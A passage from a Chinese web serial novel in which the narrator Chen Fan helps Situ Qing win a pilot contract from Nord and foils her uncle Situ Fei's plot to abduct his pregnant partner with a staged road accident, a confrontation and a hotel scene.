只有陈凡,才喜欢玩这种把戏,只有陈凡,才敢在这么短的时间内,为司徒晴搭建起一个完整的公司架构。
“老板……”秘书小心翼翼地问道:“那我们现在怎么办?诺德公司那边?”
“诺德公司?”司徒飞冷笑道:“他们现在已经在我打侄女那里喝茶了,你觉得,司徒晴会放过这个机会吗?她会怎么跟米勒说?说我是个不靠谱的合作伙伴,说我连基本的商务安全都保证不了,说我为了抢项目不择手段?”
他走到酒柜前,倒了一杯威士忌,一饮而尽,烈酒灼烧着喉咙,却压不住心头那股熊熊燃烧的怒火。
司徒飞放下酒杯,眼神变得阴鸷道:“她以为她赢了?太天真了,商场上的战争,从来不是谁抢到客人谁就赢。而是谁能活到最后,谁才是赢家。”
他拿起手机,拨通黑三的号码。
“昨晚交代你的事,怎么样了?”司徒飞问道。
“人已经安排好了。”黑三的声音传来道:“随时可以动手,但老板,静水山庄的安保很严,我们的人进不去,只能在路上动手。”
“那就等他们出来。”司徒飞说道:“我要你亲自动手。事成之后,钱会翻倍。”
“明白。”
挂断电话,司徒飞重新走到窗前,他看着脚下这座他经营了十几年的城市,眼神冰冷。
陈凡,你以为你赢了一局?
不,你只是把我逼到了绝境。
而一个被逼到绝境的人,是什么事都做得出来的。
你
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可以抢我的客人,可以挖我的人,甚至可以毁掉我最重要的合作。
但我也可以,毁掉你最重要的东西!
而在城市的另一头,晴空科技的会议室里,一场决定未来的谈判,才刚刚开始。
司徒飞不知道的是,就在他安排黑三动手的同时,静水山庄里,夏颜正坐在书房的窗前,安静地看着一本育儿的书。
李姐端着一盘切好的水果走进来。
“夏小姐,吃点水果吧。”李姐笑着说道。
“谢谢李姐。”夏颜抬起头,微微一笑,她的手轻轻抚摸着微微隆起的小腹,眼神温柔而坚定。
她不知道外面的风暴有多猛烈,但她知道,无论发生什么,陈凡都会保护好她和孩子。
这是信任,也是默契。
而在晴空科技的会议室里,司徒晴正站在投影幕前,向米勒团队展示着她的技术蓝图,屏幕上,复杂的电路图和算法公式滚动着,那些枯燥的数据在她口中变得生动而充满希望。
“所以,我们的方案可以完美解决毫米波干扰问题,”司徒晴的声音自信而清晰道:“这不仅仅是理论,我们已经做出了原型样机,测试数据就在这里。”
她把一份厚厚的测试报告递给米勒,米勒接过报告,快速翻阅着,他的表情从最初的审视,逐渐变为惊讶,最后是赞赏。
“司徒小姐,如果这些数据都是真实的,那你们的技术,确实比飞越科技领先至少一年。”米勒欣喜道。
米勒的开心是真实的,他觉得自己没有白来晴空科技,这个年轻的女人,无论从哪一方面,都让自己很满意。
“数据绝对真实。”司徒晴直视着他的眼睛,保证道:“米勒先生,我想问您一个问题:您是想和一个只会模仿和追赶的公司合作,还是想和一个能够定义未来技术方向的公司合作?”
这个问题,像一把钥匙,打开了所有的可能性,在场的人把目光都**在了米勒的身上,大家等着他的回答。
其实更紧张的是司徒晴,因为这些话,又绝大部分,都是陈凡教给自己的,她也拿不准米勒的想法,可是,她选择无条件的相信陈凡!
197司徒晴的以退为进!
“我们当然是希望可以和更有未来发展的公司合作。”米勒先生说道。
“那我想请米勒先生及您的团队,参观一下我们的实验室。”
司徒晴说着站起身,然后伸手邀请米勒。
米勒点了点头,他带着身后五个人,一起跟随司徒晴的脚步。
“这些都是我们新组建的团队,”司徒晴介绍道:“他们大部分都有海外名校背景,在顶尖的半导体公司工作过,当然,也有几位是飞越科技的老人。”
她特别指了指一个四十多岁,头发微秃的中年工程师道:“王工,飞越的技术总工程师,现在是我们公司的技术总监。”
王工有些拘谨地对米勒点点头,米勒记得他,当初自己在飞越科技来诺德公司做技术交流时,王工是主讲人之一,当时他对毫米波天线的见解让米勒印象深刻。
“王先生,很高兴再次见到你。”米勒主动伸出手道:“我以为你还在飞越科技。”
王工握住米勒的手,笑了笑道:“那里已经没有我发挥的空间了。”
王工这话说得很委婉,但意思很明显。
米勒一行人参观完实验室,司徒晴让人准备好了精致的茶点和咖啡。
“司徒小姐……”米勒放下手中的咖啡杯,身体微微前倾,道:“我必须承认,你今天的展示,让我很惊讶,无论是技术路线,还是团队配置,都超出了我的预期。”
“谢谢。”司徒晴平静地回应。
“但是……”米勒话锋一转,道:“商业合作不是技术展示,我们需要考虑的因素很多,比如公司的稳定性、资金实力、量产能力、供应链管理等等,晴空科技才刚成立,这些方面,你们有什么优势?”
米勒提出的这个问题很尖锐,也很现实,柳媚笙在旁边听着,手心微微出汗,这是整个计划中最脆弱的一环,晴空科技确实太新了,新得让人缺乏安全感。
但司徒晴显然早有准备,她先是肯定了米勒的想法,道:“米勒先生说的很对。”
然后司徒晴从公文包里拿出了几份文件,递给了米勒道:“这是我们的资金证明,目前公司账户上的可用资金是两亿人民币,全部来自合规的投资机构,这是我们的供应链合作意向书,我们已经和三家国内顶级的封装测试厂达成了战略合作意向,这是我们的量产计划表……”
她一份份地展示文件,每份文件都盖着公章,有具体的数字和日期,看得出来,背后有一支非常专业的团队在支持她。
米勒仔细翻阅着这些文件,时不时和身边的法务总监艾玛低声交流几句。
“资金方面,短期内确实够用。”艾玛用专业语气评价,道:“但长期来看,如果要支撑完整的5G解决方案研发和量产,这个数字还需要至少翻三倍。”
“我们已经在进行下一轮的融资谈判。”司徒晴说:“有几家顶级的风险投资机构对我们的项目很感兴趣,如果诺德公司愿意和我们合作,那融资会更顺利。”
这话说得很巧妙,既承认了资金上的短板,又把诺德公司的合作当成了解决问题的关键。
米勒合上所有文件,靠在椅背上,手指轻轻敲击着桌面,这个动作表示他在认真思考。
许久,米勒终于开口道:“我欣赏你的坦诚和专业,但坦白的说,现在让我立刻做决定,太难了,飞越科技那边,我们毕竟已经谈了半年,投入了大量的时间和资源,而你们……”
他没有说完,但意思很明显。
司徒晴点点头,表示理解道:“我没有期待各位立刻做决定,事实上,我建议各位不要做决定。”
这是司徒晴第二次说这样的花,昨天在酒店,她也说了同样的话。
米勒挑眉问道:“哦,为什么?”
“因为现在做决定,对各位不公平。”司徒晴站起身,走到白板前,拿起一支笔,道:“让我来分析一下各位目前的处境。”
她在白板上画了两个圈,一个标注“飞越科技”,一个标注“晴空科技”。
“和飞越科技合作,优势是:他们基带芯片的技术积累确实深厚,量产能力已经验证,公司规模大,看起来更稳定,但劣势也很明显:射频前端是他们的短板,这个问题短期内很难解决,而且,经过昨天的事件,各位应该对他们的商业道德和基础的安全保障能力,产生严重怀疑。”
她在飞越科技的圈旁边写下了技术短板和信任危机两个词。
“而晴空科技的优势是:我们在射频前端有绝对的技术优势,团队专业,没有历史包袱,合作模式可以更灵活,劣势是:公司新,规模小,量产能力还没经过验证。”
她放下笔,转身面对米勒团队:“所以,如果现在各位必须在两个都有明显缺点的选择中选一个,那无论选哪个,都会有遗憾,都会有风险。”
“那你的建
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议是?”米勒问。
“我的建议是:不要二选一。”司徒晴说出了一个让所有人都惊讶的答案。
“不二选一?”艾玛皱眉道:“那怎么办?”
“同时推进。”司徒晴的声音很清晰道:“各位可以继续和飞越科技谈判,但同时,也给我们一个机会,我们可以先开展一个小型的预研合作项目,比如针对下一代5.5G的射频前端技术预研。项目不大,周期三个月,投入也不多。但这三个月,足够各位看清两件事:第一,我们的技术实力到底如何,第二,飞越科技那边,是否真的有能力解决他们的短板。”
这个提议太聪明了。
柳媚笙不禁对司徒晴投去了赞许的目光,不过,这背后肯定是陈凡给出的主意。
这个男人,还真是把米勒的心里拿捏的透透的。
接下来就看米勒他们怎么选择了。
不过,柳媚笙觉的,司徒晴说的就是当下最好的选择,因为这对诺德公司来说,损失最小,利益最大。
而真正让柳媚笙觉得聪明的是:司徒晴并没有米勒做决定,这招以退为进,确实很机智。
米勒看向他的团队,艾玛点了点头,技术顾问詹姆斯也点了点头。
“三个月,项目预算不超过五十万欧元,我们需要在一个月内看到初步的技术方案和可行性报告。”米勒说道。
“没问题。”司徒晴毫不犹豫地答应。
“合同我会让法务起草。”艾玛说道:“但这只是预研项目,不涉及后续的大规模合作承诺。”
“当然。”
双方谈完后,米勒让艾玛起草合同,双方立刻签订。
会议结束,司徒晴和柳媚笙送米勒团队下楼。
“司徒小姐。”临上车前,米勒停下脚步,回头看着司徒晴道:“虽然我没有明说,但你应该知道,我给你这个机会,不仅仅是因为你的技术。”
司徒晴点头道:“我知道你不喜欢被人当傻子耍。昨天的事,不管是谁做的,都触碰了你的底线。”
“聪明。”米勒笑了笑,道:“我在这个行业三十年,见过太多肮脏的手段,但我始终相信,真正能走长远的,是那些靠技术和诚信说话的人,我希望,你是这样的人。”
“我会证明的。”司徒晴郑重地说。
米勒笑了笑,坐上了车,离开了晴空科技。
司徒晴望着远去的车队,深深的长舒了一口气……
198司徒飞的埋伏!
“成功了。”柳媚笙轻声说。
司徒晴微微一笑道:“三个月,五十万欧元的项目,这只是刚刚开始而已。”
“但至少,门打开了。”柳媚笙拍拍她的肩道:“走吧,陈凡还在等消息。”
……
我坐在咖啡馆里,看着对面的米勒车队离开。
我的手机震动,是柳媚笙发来的消息:“谈成了,三个月预研项目,五十万欧元,米勒给了一个机会。”
“很好,接下来看司徒晴的了。”我回复。
“你那边怎么样?”柳媚笙问我。
“还在等!”
我确实是在等一个电话,或者说在等一个消息。
下午一点,手机终于响了。
不是柳媚笙,也不是司徒晴。而是一个陌生的号码。
我接起来,没有说话。
“陈总!”电话那头是一个男人的声音,听起来很年轻,但语气沉稳道:“我是小赵,以前跟过柳姐,您让我盯的人,动了。”
小赵是我安排在静水山庄外围的暗哨之一,柳媚笙手底下的人,忠诚度没问题,能力也强。
“怎么个情况?”我问了一句。
“十一点左右,一辆黑色的面包车停在山庄东侧两公里的岔路口,车上下来四个人,穿雨衣,步行往山庄方向走,看走路的姿势,是练家子,我们的人跟了一段,确认他们身上有家伙。”
“进去了吗?”我问。
“没有,静水山庄的安保太严,他们在外面转了一圈,没找到机会,又退回岔路口了,现在车还在那里,人应该在车里等着。”
“几个人?”我问道。
“四个,算上开车的五个。”小赵干脆的回答。
我没有回话,而是在大脑中快速思考,五个职业的,有武器,那么目标很明显,要么是夏颜,要么是我。
至于周叶青,他们不敢对她下手!
“继续盯着。”我说道:“不要惊动他们,如果他们真的要硬闯,再动手。”
“明白,但陈总,如果他们真硬闯,山庄的安保能挡住吗?”
“能。”我说得很肯定道:“但我觉得他们不敢闯。”
因为一旦真的交火,性质就完全变了,从商业斗争,升级为**。
挂断电话,我立刻打给阿勇道:“山庄东侧两公里岔路口,黑色面包车,五个人,有武器,让你的人做好准备,但不要主动出手,等我指令。”
“是。”
我拿出另一部手机,拨通了老吴的号码。
“吴哥。”我说道:“有件事,需要你帮忙。”
“说。”
“静水山庄东侧两公里的岔路口,现在停着一辆黑色面包车,车牌是……”我说出了小赵报给我的车牌号。
“车上五个人,是司徒飞找来对付我的,我想让他们消失一段时间。”
电话那头沉默了两秒。
“消失多久?”老吴问。
“一两个月吧,不用太狠,让他们在医院躺一阵子就行。但要注意,不要留痕迹,要看起来像意外。”
“暴雨天,山路湿滑,出个车祸很正常。”老吴的声音很平静的问我:“交给我吧,几点要结果?”
“天黑之前。”
“明白。”
挂断电话,我重新看向窗外,此时的上城暴雨倾盆,这确实对我来说是一个机会!
……
静水山庄东侧两公里的岔路口,一辆黑色的面包车安静地停在路边,雨水疯狂地冲刷着车身,模糊了车内的景象。
车内坐着五个人,开车的是个光头,左脸颊有一道疤,他叫小疤,是黑三手下的头号打手,专门处理“脏活”。
“这雨**大。”后座一个瘦高的年轻人嘟囔道:“疤哥,咱们要等到什么时候?”
小疤吐出一口烟圈:“等到雨小点,或者等到天黑。”
“天黑?”另一个壮汉皱眉道:“老板不是让今天动手吗?”
“老板是让动手,没说什么时候。”刀疤冷冷地说道:“这么大的雨,山庄的安保肯定更警惕,硬闯是下策。”
“那怎么办?总不能白来一趟吧?”
小疤没说话,只是盯着窗外,雨水打在车窗上,发出密集的噼啪声。
其实他比谁都急,黑三交代得很清楚,这次的目标是一个怀孕的女人,任务不是**,是“消失”,这意味着要做得很干净,不能留下任何痕迹。
但静水山庄的安保,比他想象的要严密得多。上午他们开车在山庄周围转了一圈,光是看到的摄像头就有十几个,还不算那些隐藏的。
门口有保安亭,里面至少两个人,都是退伍兵的样子,围墙很高,上面还有电网
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。
硬闯的话,不是不可能,但代价会很大,而且一旦闹出动静,治安署的人很快就会到,这荒郊野岭的,跑都不好跑。
“再等等。”小疤掐灭烟,道:“天黑之后,雨如果还这么大,我们就动手,雨天能掩盖痕迹,也能干扰监控。”
车内安静下来,只有雨声和发动机怠速的低鸣。
他们不知道的是,在距离面包车不到五十米的山坡上,两个穿着雨衣的人正趴在草丛里,透过夜视望远镜,静静地观察着他们。
是小赵和他的搭档。
“五个人,都在车里。”小赵低声对着对讲机说:“暂时没有动静。”
对讲机那头传来阿勇的声音道:“继续观察,老板说了,不要主动出手。”
“明白。”
时间一分一秒过去,雨没有丝毫变小的迹象,反而越下越大,天色也越来越暗,才下午三点,已经像傍晚一样阴沉。
小疤看了看手表,又看了看窗外的天色,终于下了决心。
“准备一下。”他说道:“五分钟后动手。”
后座的三个人立刻开始检查装备,**、绳索,都是专业的东西,小疤自己也检查了一下腰间的**,确认**上膛。
“记住!”刀疤回过头,眼神凶狠,道:“目标是一个怀孕的女人,二十五六岁,长头发,很漂亮,见到之后,不要废话,直接打晕带走。如果遇到抵抗……”
他做了个抹脖子的手势。
“明白。”四个人齐声回答。
小疤重新发动车子,面包车在雨中缓缓调头,准备往山庄方向开。
就在这时,前方山路拐弯处,突然出现了一辆白色的厢式货车。
货车开得不快,在湿滑的山路上小心翼翼地行驶着,雨太大,能见度很低,等小疤看到它时,两车距离已经不到二十米。
“操!”小疤猛打方向盘,想要避开。
但是已经晚了。
货车似乎也发现了面包车,司机显然慌了,刹车踩得太急,在湿滑的路面上,货车猛地侧滑,车尾像鞭子一样甩了过来。
“砰——!”
一声巨响!
面包车的侧面被货车的车尾结结实实地撞上,巨大的冲击力让面包车直接侧翻,在路面上滑行了十几米,最后撞在路边的山体上才停下。
199狠狠的制裁!
咚!
车内传来一阵巨响,顿时变的混乱不堪!
小疤被安全带勒得差点窒息,安全气囊弹出来,拍在他脸上,火辣辣的疼。
在看后座的四个人更惨,没系安全带,在车厢里滚成一团,头破血流。
“妈的!这怎么回事!”小疤挣扎着解开安全带,踹开车门爬出去。
本来是来偷袭的,怎么反倒是被人给偷袭了!
暴雨让小疤整个人都清醒了,他回头看向那辆货车,货车也受损严重,司机从车里爬出来,是个看起来五十多岁的男人,一脸惊恐慌张的看着他们。
“对不起,雨太大了,我没看清……”司机结结巴巴地说。
小疤想发火,可忽然觉得不对劲!这荒郊野岭的,平时半天都见不到一辆车,偏偏在他们准备动手的时候,突然冒出来一辆货车,还正好在拐弯处发生侧滑?
他猛地抬头,看向四周,他总觉得,暗处有什么东西在看着他们。
“疤哥,我们怎么办?”一个手下捂着流血的额头爬出来。
小疤刚要说话,忽然听到远处传来警笛声。
警笛?
这种地方,治安署的来的这么快?
“撤!”小疤当机立断,道:“快走!”
但已经来不及了,两辆警车从山路另一头驶来,很快停在事故现场,四个治安员下车,穿着雨衣,手按在腰间的枪套上。
“都不许动!”为首的治安员大声喊道:“把手都给我举起来!”
小疤和他的手下僵在原地,他们身上都有武器,如果被警察搜出来,麻烦就大了。
“所有人,趴在地上!快!”
小疤咬了咬牙,他看了眼手下,又看了眼越来越近的治安员,几秒钟后,他做出了选择,举起双手,慢慢趴在地上。
看见老大都这样了,其他的人也都跟着小疤照做。
治安员上前,迅速给他们戴上**,然后开始搜查车辆。
当**、**一样样从车里搜出来时,小疤的心沉到了谷底。
完了。
这些武器,足够他们进去蹲好几年了。
“带走。”治安员挥挥手。
小疤被押上警车时,最后回头看了一眼那辆货车,货车司机还站在那里,一脸惊魂未定的感觉。
但两个人四目相对的那一刻,司机的嘴角露出一个得逞的笑容。
……
静水山庄,书房。
我站在窗前,看着外面的暴雨,手机屏幕亮起,显示着一条刚刚收到的信息:五个人全部落网,武器被缴,老吴。
“辛苦了,吴哥,我欠你一个人情。”
我放下手机,心里的大石头终于落地了,老吴的计划很顺利,他安排的人准时的出现,制造了那场车祸,治安员也准时出现,小疤那几个人都被抓紧去了。
司徒飞的第一波攻击,在老吴的帮助下,化解了。
但我知道,这只是开始,以司徒飞的性格,一次失败不会让他退缩,只会让他更疯狂。
手机又响了,这次是柳媚笙。
“陈凡!”她的声音有些急促道:“司徒飞那边又有动作了。”
“说。”
“他刚刚联系了黑三,让黑三亲自带人去静水山庄,黑三拒绝了,说风险太大,两人在电话里吵了一架,司徒飞威胁要断了黑三在上城的生意。”
“然后呢?”
“黑三妥协了,答应再派一拨人,但要求加钱,而且要等雨停。”柳媚笙顿了顿,道:“陈凡,黑三和小疤不一样,小疤是打手,黑三是真正的亡命徒,如果他亲自来……”
“他不会来的。”我说道:“黑三是个聪明人,知道什么该碰,什么不该碰,司徒飞现在疯了,但黑三没疯。”
“你怎么确定?”柳媚笙问道。
“因为他如果真想动手,就不会在电话里和司徒飞吵架。”我分析道:“吵架,是讨价还价的方式,他想要更多钱,也想看看司徒飞到底有多大的决心。”
电话那头沉默了一会儿。
“那我们现在怎么办?”柳媚笙问我:“等着他派下一波人来?”
“不。”我说,“主动出击。”
“主动出击?”
“对。”我走到书桌前,打开电脑,“司徒飞现在所有的注意力都在静水山庄,都在夏颜身上,这是他的弱点,他太想报复了,以至于忽略了其他方向。”
“其他方向?”
“晴空科技。”我说,
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“司徒晴那边今天刚和诺德公司谈成预研项目,这是司徒飞最不想看到的事,如果他冷静一点,现在应该想办法破坏这个合作,而不是盯着夏颜不放。”
柳媚笙明白了道:“所以我们要……”
“所以我们要帮他转移一下注意力。”我吩咐道:“你现在让司徒晴马上会召开一个小型的媒体见面会,正式宣布和诺德公司的合作,虽然只是个小项目,但象征意义很大,我要让这个消息,明天登上所有财经媒体的头条。”
“这会让司徒飞更疯狂。”柳媚笙说道。
“没错,疯狂的人会犯更多错误,而且,当他的注意力被晴空科技吸引过去时,静水山庄这边的压力就会小很多。”
“你这是把司徒晴当诱饵。”柳媚笙的声音有些复杂。
“不全是。”我说,“这也是她需要面对的,晴空科技要真正站起来,就必须走到台前,必须面对司徒飞的打压,早面对,晚面对,都要面对。现在司徒飞被我牵制住了大部分精力,正是晴空科技发展的好时机。”
电话那头又沉默了很久。
“陈凡。”柳媚笙终于开口,道:“有时候我觉得,你真是个可怕的对手,你能把所有人都算进去,包括你自己人。”
“我从不把你们当棋子。”我说得很认真道:“但这是战争,媚笙,在战争中,每个人都要扮演好自己的角色,我能做的,就是确保每个人的风险都在可控范围内。”
“那夏颜呢?她的风险可控吗?”柳媚笙问道。
我看向卧室的方向,门关着,夏颜在里面休息。
“我会用我的命保护她。”我认真的说道:“只要我还活着,就没人能伤害她和孩子。”
挂断电话,我走到卧室门口,轻轻推开门。
夏颜已经醒了,正靠在床头看书,看到我,她放下书,微微一笑道:“忙完了?”
“嗯。”我走过去,在床边坐下:“吵到你了?”
“没有。”她握住我的手:“就是有点……心神不宁。总觉得有什么事要发生。”
我反握住她的手,用力握了握:“没事的。有我在。”
她看着我,眼神温柔而信任:“我知道。”
200司徒晴被打了!
第二天,晴空科技办公室。
司徒飞怒气冲冲的走了进来,他就这么一个人来的。
前台的司仪小姐认识他,看到司徒飞,她吓的都忘了通报。
“司、司徒总……”
“司徒晴在哪?”司徒飞狠狠的质问道。
“在会议室,正在接受财经周刊的专访,司徒先生,你不能进去!”
司徒飞没再说话,径直朝会议室走去。
会议室的门关着,玻璃墙里能看到里面的情景,司徒晴坐在主位上,对面是两个记者,正在做专访。
她今天穿了一身浅灰色的职业套装,化了淡妆,头发扎成干练的马尾,看起来自信而从容。
司徒飞站在玻璃墙外,看着里面的大侄女,他心中的怒火难以压抑,他推门而入!
砰的一声,门发出了巨响。
会议室里的三个人都吓了一跳,转过头来,记者看到司徒飞,先是愣了一下,随即认出了他,表情有些不知所措。
司徒晴看到司徒飞,脸上的笑容瞬间凝固,但她很快恢复了平静,站起身:“司徒总,有事吗?”
“出去。”司徒飞对那两个记者说,声音冰冷。
记者面面相觑,不知道该走还是该留。
“这是我们的采访……”一个记者试图开口。
“我说,出去!”司徒飞重复了一遍,眼睛死死盯着司徒晴,看都没看记者。
司徒晴深吸一口气,对记者露出一个歉意的笑容:“抱歉,今天可能要先到这里了,我们改天再约时间。”
记者也不是傻子,他们看出情况不对,就赶快溜之大吉。
会议室里只剩下司徒晴和司徒飞两个人,气氛压抑的可怕。
“司徒晴,你很好,我小看你了!”司徒飞咬牙切齿道。
司徒晴站在原地,背挺得笔直,迎着他的目光:“我不知道你在说什么。”
“不知道?”司徒飞笑了,冷冷的问道:“你为什么挖走我的人?你为什么抢走我的客人?你为什么在这个时候,开一家公司来跟我作对?”
他一步步逼向司徒晴!
“王工,李博士,小赵,这些都是我培养了多年的核心骨干,你一回来,他们全跑了,还有诺德公司,我谈了半年的合作,眼看就要签约了,你一句话,就把人抢走了,司徒晴,你告诉我,这是巧合吗?嗯?”
司徒晴看着他走近,没有后退。她的心跳得很快,但脸上依旧保持着平静。
“他们没有跑,他们只是选择了更适合自己的平台。”她放平心态道:“至于诺德公司,是他们自己觉得飞越科技的技术方案有缺陷,所以才考虑其他选择,这跟我没有关系。”
“没有关系?你觉得我会信么!”司徒飞居高临下道。
司徒晴仰头看着他,眼神清澈而坚定:“你连亲情都不顾,你还会信什么?!”
“亲情?”司徒飞像是听到了什么天大的笑话,道:“你想想你爸爸的所作所为,你哥哥的所作所为,我这都是跟他们学的!我懂了,你现在就是来报复我的!”
“我没有报复你。”司徒晴的声音在颤抖,但不是因为害怕,而是因为愤怒,“我只是想拿回本该属于我的东西!司徒家,本来就是我的!”
司徒晴握紧了拳头,道:“我父亲和哥哥,现在生死不明,你就将我赶出了司徒家,还夺走了原本属于我父亲的位置,难道我说的不对吗!”
“绝望?”司徒飞冷笑,“那你知道我管理一家公司有多难吗?你知道我要平衡多少关系,要面对多少压力吗?一个项目而已,砍了就砍了,有什么大不了的?公司要发展,总要有取舍!”
“司徒家的产业,应该由男人来继承,来发展!你一个女孩子,安分守己地当好你的大小姐,找个好人家嫁了,有什么不好?非要出来抛头露面,非要跟我争,非要让我难堪!”司徒飞痛骂司徒晴。
“没错,我要拿回属于我的一切,司徒飞,从今天起,你不在是我的叔叔,我不认你!”司徒晴红着眼睛说道。
我不认你,这四个字,彻底点燃了司徒飞最后的理智。
他抬起手,狠狠一巴掌扇在了司徒晴脸上。
“啪!”
清脆的响声在会议室里回荡。
司徒晴被打得偏过头去,脸颊上瞬间浮现出一个清晰的掌印,她的嘴角破了,渗出一丝血迹。
“这一巴掌!”司徒飞喘着粗气,道:“是替司徒家的列祖列宗教训你,让你知道,什么叫做规矩,
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什么叫做本分!”
司徒晴捂着脸,眼泪终于控制不住地流了下来。
但不是因为疼,而是因为心寒,这一巴掌,打碎了她对司徒家最后的一丝幻想。
她张了张嘴,想说什么,但喉咙像是被什么东西堵住了,发不出声音。
砰!
就在这时,会议室的门被猛地踹开了。
我一脸怒意的站在站门!
柳媚笙告诉我司徒飞一个人来晴空科技,我就知道要出事,我一路开车赶了过来,刚进来,就听到了那个清脆的耳光。
我看到了司徒晴脸上的红手印,我什么话都没有说,我一步上前,一脚狠狠踹在了司徒飞的胸口上!
砰!
司徒飞整个人倒飞了出去,重重的砸在了会议室的玻璃墙上!
玻璃墙轰然倒塌!碎了一地!司徒飞的胳膊都被划出了血!鲜血顿时流了一地!
我走到他面前,蹲下身,抓住他的衣领把他提起来。
“司徒飞!我有没有告诉过你,别动我的人?”
司徒飞终于缓过气来,他咳了几声,道:“陈凡,你终于路面了!”
“我一直都在,只是你太蠢,看不到而已。”
我把他拎起来,按在玻璃墙上。
“翡翠宫是我砸的,米勒团队是我截胡的,晴空科技是我投资的,你有什么不满,冲我来!动一个女人,算什么本事?”
司徒飞笑了,笑得咳出血来:“不打你的女人,你会露面,你成天就躲在静水别墅!是在陪夏颜把!”
提到夏颜,我脸色微变!
“果然,看来还是夏颜更重要!”司徒飞道:“对了,好像你也要有孩子了吧!”
“你敢动他们一下试试!”
我们就这样对峙着,一触即发。
“陈凡。”
一个轻柔的声音打破了僵局。
是司徒晴。她已经擦干了眼泪,脸上的掌印依旧清晰,但眼神已经恢复了平静。她走到我身边,轻轻握住我的手臂。
“放开他吧。”她说道:“为了这种人,不值得!”
我看着司徒晴,看着她红肿的脸颊和坚定的眼神。几秒钟后,我松开了手。
司徒飞滑坐到地上,捂着胸口剧烈咳嗽。
“滚!”
201秦悦到来(上!)
从晴空科技出来,我没有直接送司徒晴回家,也没有回静水山庄。
我们两个人就安静的坐在车里,她脸上的红印,还能隐隐可见。
“还疼么?”我问。
她摇摇头,可眼圈却红了,她故意把头撇过去,不让我看到她脆弱的一幕。
曾经高高在上的司徒家千金,过着锦衣玉食的生活,如今却被人扇耳光,这种身位遭遇的变化,让她觉得委屈也很正常。
这个时候,我做的就是陪伴,因为所有的委屈和心酸,都需要司徒晴自己来消化,否则,她永远都成长不了。
“想去哪?”我转移话题,“我送你。”
司徒晴沉默了很久,然后轻声说:“我不想回去,我想你陪陪我。”
我想了想也是,现在夏颜在静水庄园养胎,司徒晴就不适合在回去了。
“那我们去酒店?”我直接说道。
她红了红脸,然后点了点头。
二十分钟后,我们到达了一家顶级酒店。
我开好了房间,然后带着司徒晴走进电梯。房间在16层,是个套房。客厅很大,阳光洒进来,把整个房间照得明亮而温暖。
我转身想对司徒晴说些什么,但她忽然扑过来,紧紧抱住了我。
她的手臂环着我的腰,脸埋在我胸口,身体微微发抖。
我没有推开她,也没有说话,只是轻轻拍着她的背。
时间一分一秒地过去,窗外的阳光从西边斜射进来,在地板上投下长长的光影,房间里很安静,只有她压抑的抽泣声,还有我们两个人的心跳。
不知道过了多久,她才慢慢平静下来,但她没有松开手,反而抱得更紧了些。
“陈凡!”她的声音闷在我胸口,带着浓重的鼻音道:“谢谢你。”
“谢什么?”我有些不解的问道。
“谢谢你今天保护我。”她抬起头,眼睛红肿的就按着我道:“还有,谢谢你给我这个机会,让我能重新站起来。”
我低头看她,她的脸离得很近,刚刚哭过的她整个人看起来,有一种破碎的美感。
“你不用谢我。”我说道:“我只是在做我该做的事。”
“不,你不懂。”她摇头道:“这些年来,我一直在等,等一个机会,我一直都想证明我自己,我不是傻白甜,我也不是花瓶,可我也在害怕,害怕自己不够好,害怕会失败,害怕会再次被否定。”
她的手轻轻放在我胸口,感受着我的心跳,我们两个人彼此靠的很近。
“直到你出现。”她看着我,一脸认真的说道:“你让我知道,我不是一个人在战斗,你给了我公司,给了团队,给了资金,给了所有我需要的东西,今天你还给了我尊严。”
她的声音哽咽了:“你知道吗,当那一巴掌打在我脸上时,那种**,那种无力,那种被人随意践踏的感觉……我以为我这辈子都完蛋了。”
“但你来了。”她笑了,眼泪又流了下来,“你踹开了那扇门,你把他踹飞了,你为我出头了。那一刻,我觉得……你就是我的英雄。”
英雄。
原来我在她心里是这种形象。
我不是英雄,我只是个普通人。一个为了生存,为了守护自己在乎的东西,可以做任何事的普通人。但在司徒晴眼中,此刻的我,或许真的像个英雄。
“我不是什么英雄。”我说,“我只是看不惯那种事。”
“对我来说,你就是。”她踮起脚尖,在我唇上轻轻印下一个吻。
这个吻很轻,很短暂,像蜻蜓点水。但触感很真实,很温暖。
我没有回应,也没有推开她。我只是看着她,看着这个在我怀里哭泣、又在我怀里找到勇气的女人。
“陈凡,”她的声音很轻,轻得像叹息,“我可以……抱你久一点吗?”
我没有说话,只是搂住了她的腰,把她往怀里带了带。
她重新把脸埋进我胸口,手臂环着我的脖子。我们就这样站着,在午后的阳光里,静静地拥抱着。没有情欲,没有算计,只有两个受伤的灵魂,在彼此身上寻找一点慰藉和温暖。
不知过了多久,她终于松开了手。脸颊有些红,不知道是因为刚才的哭泣,还是因为害羞。
“我……我去洗个脸。”她小声说,转身
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进了卧室。
我站在原地,看着她的背影消失在卧室门后。然后走到窗边,点了支烟。
窗外的上城,依旧繁华,依旧冷漠。但在这个二十八层的房间里,时间仿佛被按下了暂停键。一切都变得缓慢,变得温柔,变得……不真实。
卧室里传来水龙头的声音,然后是吹风机的声音,我抽完一支烟,又点了一支。
半个小时后,司徒晴从卧室出来,她已经洗过澡,换上了一身酒店提供的浴袍,头发湿漉漉地披在肩上,脸上没有了泪痕,也没有了红肿,只是眼睛还有些红。
“舒服点了?”我问。
“嗯。”她点点头,走到我身边,也看着窗外道:“这里的视野真好。”
“喜欢的话,可以多住几天。”我说道。
“你会陪我吗?”司徒晴问道。
这个问题问得很直接,我转头看她,她也看着我,眼神里有一种期待,也有一种试探。
“我还有事。”我说,“但你有需要,随时可以找我。”
她点点头,没有再追问。她是个聪明的女人,懂得分寸,知道什么时候该进,什么时候该退。
我们又站了一会儿,然后她回到客厅,在沙发上坐下。我坐在她对面,两人都没有说话,只是安静地享受着这份难得的平静。
下午四点,我的手机响了。
我看了一下手机,是秦悦打来的电话,我马上接通电话,好久不见,我还挺想她的。
“陈凡,”电话那头传来秦悦的声音,一如既往的清冷,但这次多了点别的意味,“我在杭城机场,一个小时后,我到上城,你来接我!”
很直接的命令,典型的秦悦风格。不是请求,不是商量,是陈述。
“怎么突然来了?是太想我了吗?还是一说想给我一个惊喜?”我问。
“说了还叫惊喜吗?”她轻笑道:“怎么,不欢迎?”
“欢迎,我当然欢迎。”我说道:“我现在就去接你!”
“好!看我怎么收拾你!”秦悦气呼呼的说道。
收拾我?
我不禁有些迷茫,我怎么了就收拾我?
202秦悦到来(下)!
上城机场。
我站在接机大厅看着窗外跑到上一架架的飞机,我在等着秦悦的到来。
忽然,手机震动,是秦悦发来的消息。
“落地了,在滑行,你有没有想我啊!”
我从文字当中,都能听出来秦悦的喜悦。
我笑了笑,马上回复道:“想了,在出口等你。”
“你穿什么颜色的衣服,别让我出去找不到你!”
